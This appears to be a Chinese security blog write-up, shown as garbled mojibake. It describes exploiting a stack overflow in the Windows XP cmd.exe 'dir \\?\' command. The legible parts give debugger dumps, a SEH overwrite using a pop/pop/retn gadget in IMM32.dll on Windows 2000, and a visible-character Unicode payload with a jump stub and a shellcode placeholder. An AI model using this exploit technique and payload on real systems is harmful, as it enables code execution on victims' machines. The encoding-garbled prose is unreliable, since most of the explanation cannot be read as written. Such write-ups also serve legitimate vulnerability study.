ºÃ°É£¬ÎÒ³ÐÈÏÎÒ×òÌìÊÇÔÚŪDIRÒç³ö¡£
²»ÊÇsharpxxxxxÄǸö¡£
dirÒç³öÆäʵÓкü¸¸ö£¬ÓеĺÍcmdÓйأ¬ÓеÄÐèÒªÌض¨»·¾³¡£
ÎÒ½ñÌìÕûµÄÕâ¸öÓÖÊÇÒ»¸öYY©¶´¡£
΢ÈíһֱûÓв¹£¬ÒòΪÔÚ΢Èí¿´À´£¬Õâ¸öÓ¦¸Ã²»ÊôÓÚ©¶´°É£¬Òç³öÁËÒ²Ìá²»ÁËȨÏÞ£¬¶¥¶àËãÒ»¸öbug¡£
ËùÒԺܶàÅ£È˶¼²»ÕûÕâ¸öbug£¬¶ø×î½üdummy±¬ÁËÒ»¸ö±©·çÓ°ÒôµÄ0day£¬Ò²ÊǸöunicodeµÄ£¬ÎÒÖ»ÔÚIEÀï´¥·¢ÁË£¬²»ÖªµÀÔÚperl½Å±¾ÏÂÕ¦´¥·¢£¬ºóÀ´ÏëÆðÁËÕâ¸ödir©¶´¡£
ÎÒ×îϲ»¶×öµÄÊÂÇé¾ÍÊÇÕûЩûÓõģ¬½ö½öÓÃÀ´YYµÄ¶«Î÷£¬Ê±²»Ê±×ÔŰһϣ¬ËùÒÔ½ñÌì¿´¿´Õâ¸ödirÒç³ö¡£
ÔÚÎÒµÄxp sp2 cnÉÏ£¬cmd°æ±¾
Microsoft Windows XP [°æ±¾ 5.1.2600] (C) °æȨËùÓÐ 1985-2001 Microsoft Corp.
Ê×ÏÈ£¬´¥·¢Â©¶´£º
D:>dir \\?\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA......(³¬³¤)
¾ÍÒç³öÁË£¬cmd crash£¬¼òµ¥°É
´ó¸Å200¶à¸öA¾Í¿ÉÒÔÔì³ÉÒç³ö¡£
¿´¿´Òç³öʱºòµÄ×´¿ö£º
·¢ÏÖÊä³öµÄ²ÎÊý£º A ¾¹ýunicode±àÂëºó£¬Ò»Â·¸²¸Çµ½ÁËÕ»µ×£¬Òì³£ÁË~~~
Ò쳣ʱ¼Ä´æÆ÷ÈçÏ£º
Í£ÔÚÕâÀ 77C17EA2 66:8901 MOV WORD PTR DS:[ECX],AX ; //===> EIPÖ¸ÏòÕâÀï 77C17EA5 41 INC ECX 77C17EA6 41 INC ECX
SEHÒ²±»¸²¸ÇÁË£º 0013FF30 00410041 A.A. 0013FF34 00410041 A.A. Ö¸ÏòÏÂÒ»¸ö SEH ¼Ç¼µÄÖ¸Õë 0013FF38 00410041 A.A. SE´¦Àí³ÌÐò 0013FF3C 00410041 A.A. 0013FF40 00410041 A.A. 0013FF44 00410041 A.A.
ÆäʵջÒç³öÒ²ºÃÀûÓã¬ÒªÃ´¸²¸Ç·µ»ØµØÖ·£¬ÒªÃ´¸²¸Çseh¡£
µÚ¶þ´ÎÕÒµ½Â©¶´ÔÒò£¬ÖØÐÂÉ趨ºÃ¶Ïµã£¬´¥·¢Ö®£º
Òç³ö¾Í·¢ÉúÔÚÕâ¸ö¸ÃËÀµÄ wcscpy Àï
ʵ¼ÊÉÏÊÇ wcscpy( [ebp-210h], [ebp-41C] );
¸ú½øÈ¥ºó£º 77C17E94 > 8BFF MOV EDI,EDI 77C17E96 55 PUSH EBP 77C17E97 8BEC MOV EBP,ESP 77C17E99 8B4D 08 MOV ECX,DWORD PTR SS:[EBP+8] 77C17E9C 8B55 0C MOV EDX,DWORD PTR SS:[EBP+C] 77C17E9F 66:8B02 MOV AX,WORD PTR DS:[EDX] 77C17EA2 66:8901 MOV WORD PTR DS:[ECX],AX 77C17EA5 41 INC ECX 77C17EA6 41 INC ECX 77C17EA7 42 INC EDX 77C17EA8 42 INC EDX 77C17EA9 66:85C0 TEST AX,AX 77C17EAC ^ 75 F1 JNZ SHORT msvcrt.77C17E9F 77C17EAE 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] 77C17EB1 5D POP EBP 77C17EB2 C3 RETN
¸úÍêÖ®ºó²Å·¢ÏÖÒ»¸ö¼û¹íµÄµØ·½£¬ÓÉÓÚsrcºÍdestÏà¾à²»Ô¶£¬ËùÒÔÔÚ¿½±´µÄ¹ý³ÌÖУ¬dest°ÑsrcµÄĩβµÄ0×Ö½Ú¸ø¸²¸ÇµôÀ²~~ ÕâÑùÕâ¸ö¿½±´¾ÍÒòΪÕÒ²»µ½srcµÄ0×Ö½Ú¶øÎÞ·¨½áÊø£¬ËùÒÔ»áÒ»Ö±¿½±´ÏÂÈ¥¡£
×îºóµÄ½á¹û¾ÍÊÇÔÚÕ»ÀïÓÐÁËÈô¸É¸ö¿½±´µÄ¾µÏñ£¬×îºóÒòΪһ·¸²¸Çµ½ÁËÕ»µ×£¬ËùÒÔÒì³£ÁË£¡
×¢Òâ¿´ \.\.?.\. ÊÇ·Ö¸ô²»Í¬¿½±´µÄµØ·½
Èç¹ûÕâ¸öÒç³öÊÇ·¢ÉúÔÚ¶ÑÀÄÇô¾Íheap sprayÁË£¬×îºó»áÔì³ÉÄÚ´æй¶¡£
ÕâÀïÊÇ·¢ÉúÔÚÕ»ÀïµÄ£¬ÄǾͽÐ×ö stack spray°É£¡
ÓÉÓÚÕâÀï¿Ï¶¨»áÒì³££¬wcscpy¸ù±¾¾ÍÎÞ·¨Õý³£·µ»Ø£¬ËùÒÔ¸²¸Ç·µ»ØµØÖ·¿ØÖƵķ½·¨¿ÉÒÔ²»Í¬¿¼ÂÇÁË¡£
ÄÇôÕý³£È˶¼»áÏëµ½ÕâÀ︲¸ÇsehÀûÓÃ
¶øÔÚÕâÀïsehҲȷʵÊDZ»ÎÒÃǸ²¸ÇµôÁË¡£
²»¹ý¿ÉϧµÄÊÇ£¬xp sp2ÒѾÓÐÁËsafesehµÄ±£»¤ÁË¡£¶øÎÒÃÇÕâ¸ö©¶´¸üÊÇ¿ÉÁ¯µÄºÜ¡£
¿ÉÒÔ¿´µ½£¬¼ÓÔصÄÄ£¿é¾ÓȻûÓÐÒ»¸ö¿ÉÒÔÀûÓõÄ~£¡
È»ºó¹îÒìµÄÊÂÇé·¢ÉúÁË£¬±¾ÒÔΪ´úÂëÒ³ºÍ¶ÑÊÇ¿ÉÒÔÌøתµÄ£¬½á¹ûÔÚÕâÀﶼ²»ÐС£
¾¹ý²âÊÔ£¬Î¨Ò»ÄÜÌøתµÄÊÇÄÚ´æÖÐÊôÐÔΪ ”RE" µÄ¶Î£¬ÒÔ¼°cmd.exe×Ô¼º×¢²áµÄseh handler
µ½ÁËÕâÀ»ù±¾¿ÉÒÔÅжÏÔÚÕý³£Çé¿öÏÂÕâ¸ö©¶´ÔÚxp sp2ÏÂÊÇÎÞ·¨ÀûÓõÄÁË£¬µ±È»Èç¹ûÓÐʲôţÈËÓÐɶеÄÀûÓ÷½·¨£¬Ò²Çë¸æËßÎÒ¡£
ÓûÖªºóÊÂÈçºÎ£¬ÇÒÌýÏ»طֽ⡣
×÷Õߣº´Ì
½Ó×ÅÇ°ÃæÀ´¡£
ÔÚxp sp2 ÉÏÓÉÓÚÓÐsafesehËùÒÔÎÞ·¨³É¹¦ÀûÓã¬ÄÇôÎÒÃÇ»»µ½win2000¡£
²âÊÔƽ̨£ºWindows 2000 Server SP4 CN
µ±ÎÒÐÅÐÄÂúÂú£¬Ä¦È²ÁÕƵÄÀ´µ½2000ƽ̨ʱ£¬ÔâÊܵ½ÁËÒ»´ÎÑÏÖصĴò»÷£¬°ÑÎÒÀ×µ½ÁË~~
win 2000µÄĬÈÏcmd¾ÓȻûÓÐÕâ¸ö©¶´£¡
²»¹ý£¬Äã²»ÄÜС¿´ÎÒµÄÎ޳ܡ£
Êǵģ¬ÎªÁË´ïµ½YYÇ¿¹úµÄÄ¿µÄ£¬ÎªÁ˳¹µ×µÄÇ¿X DIR£¬ÎÒ°ÑXPϵÄcmd.exe ¿½±´ ÁËÒ»·Ýµ½2000ƽ̨,ÕâÑù¾Í¿ÉÒÔÕý³£Òç³öÁË¡£
²»¹ýÆæ¹ÖµÄÊÇ£¬bannerÏÔʾµÄ»¹ÊÇ5.0 µÄ°æ±¾
ÓÉÓÚ°ÚÍÑÁËsafesehµÄÏÞÖÆ£¬ÔÚ2000ÏÂÎÒÃÇ¿ÉÒÔÈÎÒâÌøתµ½Ï²»¶È¥µÄµØ·½
¶øÇÒ¸ü¿ªÐĵÄÊÇ£¬µ½ÁË2000Ï£¬¿ÉÒÔÖ±½ÓÊäÈë²»¿É¼û×Ö·ûÁË£¨Ò²ÐíÊÇÎÒÍÁ£¬voidÅ£¸æËßÎÒcmdÀﰴסctrl£¬ÔÙ´ÓС¼üÅÌÊäÈëÊý×־ͿÉÒÔ´ò²»¿É¼û×Ö·û£¬²»¹ýÎҵıʼDZ¾Ã»Ð¡¼üÅÌ£¬ÎÞ·¨ÌåÑéÁË¡££©£¬Ö»ÒªÊÇË«×ֽڵIJ»¿É¼û×Ö·û(ÓÃUltraEdit£¬½øÐÐunicodeµÄ16½øÖƱ༼´¿É)£¬¿½±´¹ýÀ´Ö±½ÓÌù½øÈ¥¾ÍÐÐÁË¡£
ÔÚÎÒϵͳÉÏ£¬cmdÓõÄÊÇGBK±àÂë
ÕâÑùµÄ»°£¬°üÀ¨¸²¸ÇSEH¡¢Ð´shellcodeÔÚÄÚ£¬¶¼»á·Ç³£ÇáËÉ¡£
µ«ÊÇÔÚ¿ªÆªÎÒ¾Í˵ÁË£¬ÎÒ½ñÌìÊÇÀ´×ÔÅ°µÄ£¬ËùÒÔÎÒ×¼±¸Óô¿¿É¼û×Ö·û»ñÈ¡¿ØÖÆȨ¡£
ΪÁËÑ¡ÓúÏÊʵÄnop£¬¿ÉÒÔÓÃunicodeµÄ“q"£¬±àÂëºó¾ÍÊÇ "7100"
·Òë³É»ã±à´úÂë¾ÍÊÇ£º jno 00 Ò²¾ÍÆðµ½ÁËnopµÄ×÷ÓÃ
¶øÌøתµØÖ·£¬ÒòΪÊǸ²¸Çseh£¬ËùÒÔÐèÒª pop/pop/retn »òÕßÊÇ jmp ebx ÀàÐ͵ġ£
ÎÒÑ¡ÔñÁË IMM32.dll ÀïµÄ 0x75e05db0 75E05DB0 5F POP EDI ; ntdll.77FBB272 75E05DB1 5E POP ESI 75E05DB2 C2 0400 RETN 4
Õâ¸öµØÖ·ÕýºÃÊÇunicodeµÄºº×Ö£º "ŽO¯i"
×îÃîµÄÊÇ£¬Õâ¸öµØÖ·µ±×÷Ö¸ÁîÖ´ÐÐÒ²¿ÉÒÔÆðµ½nopµÄЧ¹û¡£
µ«ÊÇÉÏƪ·ÖÎöÁË£¬Õâ¸öÒç³ö»áÑ»·¿½±´£¬»áÓкܶྵÏñ£¬ËùÒÔsehºóÃ沢ûÓиøÎÒÃÇÁôÌ«¶àµÄ¿Õ¼ä¡£
0012FF34 00710071 q.q. Ö¸ÏòÏÂÒ»¸ö SEH ¼Ç¼µÄÖ¸Õë 0012FF38 75E05DB0 °]àu SE´¦Àí³ÌÐò
......
0012FF4C 00710071 q.q. 0012FF50 00710071 q.q. 0012FF54 00710071 q.q. 0012FF58 00710071 q.q. 0012FF5C 00710071 q.q. 0012FF60 00710071 q.q. 0012FF64 00710071 q.q. 0012FF68 00710071 q.q. 0012FF6C 00710071 q.q. 0012FF70 00710071 q.q. 0012FF74 00710071 q.q. 0012FF78 00710071 q.q. 0012FF7C 005C005C \.\. ==> ÏÂÒ»¸ö¿½±´¿ªÊ¼ 0012FF80 005C003F ?.\. 0012FF84 00710071 q.q.
Õâôһµã¿Õ¼äÏÔÈ»²»¹»Ð´Ì«¶àµÄ¶«Î÷£¬ËùÒÔÐèÒªÌøµ½payloadµÄÇ°°ë²¿·ÖÈ¥Ö´ÐУ¬ÒÔÕùÈ¡¸ü¶àµÄдÈëShellcodeµÄ¿Õ¼ä
ÓÉÓÚÊÇÔÚ×·Çó¿É¼û×Ö·û£¬ËùÒÔÔÚÕâ¶ÎÌøתµÄmini codeµÄÒªÇóÓеãÌرð¡£
¾¹ýÑ°ÕÒ£¬·¢ÏÖ¾¹ýÁË MOV AL, 5D ¸Ä±äeaxºó£¨ 75E05DB0ÖÐµÄ B0 5D£©£¬
[eax+3]±È½Ï·ûºÏÕâ¸öÒªÇó£¬Ö¸ÏòµÄÊÇpayloadµÄÇ°²¿¡£
ËùÒÔʹÓÃÈçϵÄjmp code£º inc eax inc eax inc eax call [eax+0x0h] nop
¾¹ýһЩ±ä»»ºó£¬±ä³É¿É¼û×Ö·û£¬SEHÌøתºóÈçÏ£º
ÆäÖÐESIÀïµÄµØÖ·±È½ÏÎ޹ؽôÒª£¬ËùÒÔNOPµÄ¹¤×÷¾Í½»µ½ÁËESIµÄÉíÉÏ
¿´¿´Õ»ÀïµÄÊý¾Ý£º 0012FF34 00710071 q.q. Ö¸ÏòÏÂÒ»¸ö SEH ¼Ç¼µÄÖ¸Õë 0012FF38 75E05DB0 °]àu SE´¦Àí³ÌÐò 0012FF3C 00460040 @.F. 0012FF40 00460040 @.F. 0012FF44 00460040 @.F. 0012FF48 900050FF ÿP. 0012FF4C 00710071 q.q.
Èç¹û²»¿´unicodeµÄ»°£¬¾ÍÓ¦¸ÃÊÇ @F@F@FƒwÍË
ÆäÖÐ "ƒwÍË" ¾ÍÊÇ FF500090 Ò²¾ÍÊÇ call [eax+0] NOP
@FÔòÊÇÍê³Éeax+3µÄ¹¤×÷
ºóÀ´·¢ÏÖÕâÑù×öÊÇ×ßÁËÍä·£¬Ö±½ÓʹÓà call [eax+0x3h] NOP »á¸ü¼ò±ã
ÕâÑù£¬unicode¾ÍÊÇ£º FF500390
±ä³Éºº×Ö¾ÍÊÇ£º "ƒwÌÓ"
ËùÒÔ£¬×îÖÕµÄpayload¾Í±ä³ÉÁË
dir \\?\qqqqqqqqqqqqqqqqqqqqddddSSSSSSHHHHHHHHHHH HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH HHHHHHHHHHHHHHHHHHHHHHHHHHHBBqqŽO¯iƒwÌÓqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq
qqq.... ÊÇNOP£¬ ×Öĸ“S”ÔòÊÇshellcode¿ªÊ¼µÄµØ·½
ÓÉÓÚ¸²¸ÇSEHÐèÒª \\?\\AAA(224¸öA)[SEH handler]AAAAA.............
¶øÎÒÃÇ»ñÈ¡¿ØÖƺó£¬Ìøת»ØÈ¥£¬´ó¸Å»áÓÐ390¶à¸ö×ֽڵĿռä¿ÉÒÔÀûÓã¬Èç¹û¼ÆË㾫ȷµÄ»°£¬¿ÉÒÔÓÐ400¶à¸ö×Ö½ÚÄÜдshellcode(unicodeÊÇË«×Ö½Ú)¡£
Õû¸öÁ÷³ÌÈçÏ£º
¸²¸ÇSEHÌøתºó£º
call [eax+3]ºó£º
6400640064006400 ¾ÍÊÇpayloadÀïµÄ ”dddd“
°ÑÉÏÃæµÄcodeÌæ»»³ÉÄã×Ô¼ºµÄShellcode¼´¿É¡£
ÖÁ´Ë£¬ÎÒÃÇ¿ØÖÆÁËÁ÷³Ì£¬¶øÇÒÓÐÁË400¶à×Ö½Ú¿ÉÒÔдÈëshellcodeµÄµØ·½
YYÍê±Ï¡£
|